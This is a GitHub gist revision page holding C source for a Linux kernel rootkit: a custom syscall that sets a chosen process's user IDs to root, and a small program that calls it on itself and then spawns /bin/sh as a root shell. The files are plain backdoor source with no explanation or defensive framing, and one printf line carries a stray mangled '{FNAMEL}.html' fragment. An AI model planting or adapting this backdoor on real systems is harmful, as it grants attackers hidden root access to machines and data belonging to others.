Skip to content

Instantly share code, notes, and snippets.

@tariqadel

tariqadel/myprog.c

Created August 6, 2009 11:38
Download ZIP

Revisions

  1. tariqadel revised this gist Aug 6, 2009. 1 changed file with 2 additions and 2 deletions.
    4 changes: 2 additions & 2 deletions myprog.c
    View file
    Original file line number Diff line number Diff line change
    @@ -5,8 +5,8 @@
    #define rootkit(x,y) syscall(__NR_rootkit,x,y)

    main() {
    {FNAMEL}.html">printf("Exit code = %d\n\n",rootkit(1,getpid()));
    char *cmd[2];
    printf("Exit code = %d\n\n",rootkit(1,getpid()));
    char *cmd[2];
    cmd[0] = "/bin/sh";
    cmd[1] = NULL;
    execve(cmd[0], cmd, NULL);
  2. tariqadel revised this gist Aug 6, 2009. 1 changed file with 37 additions and 0 deletions.
    37 changes: 37 additions & 0 deletions rootkit.c
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,37 @@
    #include "rootkit.h"

    int pc = 0;

    int print_info(void) {
    int o_ruid = current->uid;
    int o_euid = current->euid;
    int o_suid = current->suid;
    pc++;// inc counter
    printk("\n *** ---[ Printing %d ] *** \n", pc);
    printk("uid = %d ", o_ruid);
    printk("euid = %d ", o_euid);
    printk("suid = %d ", o_suid);
    printk("getuid() = %d ", (int) sys_getuid());
    printk("geteuid() = %d ", (int) sys_geteuid());
    printk("getpid() = %d ", (int) sys_getpid());
    return (0);
    }

    asmlinkage int sys_rootkit(int mode, pid_t mypid) {
    struct task_struct *ts;
    int rc=0; // Get some feedback

    print_info();

    printk("find_task_by_pid(%d)!\n", mypid);
    ts = find_task_by_pid(mypid);
    if(ts) {
    ts->uid = (uid_t)0;
    ts->euid = (uid_t)0;
    } else {
    rc = -1;
    }

    print_info();
    return(rc);
    }
  3. tariqadel revised this gist Aug 6, 2009. 2 changed files with 13 additions and 0 deletions.
    13 changes: 13 additions & 0 deletions myprog.c
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,13 @@
    #include <linux/unistd.h>
    #include <sys/syscall.h>
    #include <stdio.h>

    #define rootkit(x,y) syscall(__NR_rootkit,x,y)

    main() {
    {FNAMEL}.html">printf("Exit code = %d\n\n",rootkit(1,getpid()));
    char *cmd[2];
    cmd[0] = "/bin/sh";
    cmd[1] = NULL;
    execve(cmd[0], cmd, NULL);
    }
    Empty file added rootkit.c
    View file
    Empty file.
  4. tariqadel created this gist Aug 6, 2009.
    10 changes: 10 additions & 0 deletions rootkit.h
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,10 @@
    #ifndef __LINUX_ROOTKIT_H
    #define __LINUX_ROOTKIT_H

    #include <linux/linkage.h>
    #include <linux/kernel.h>
    #include <linux/sched.h>
    #include <linux/syscalls.h>
    #include <linux/sys.h>

    #endif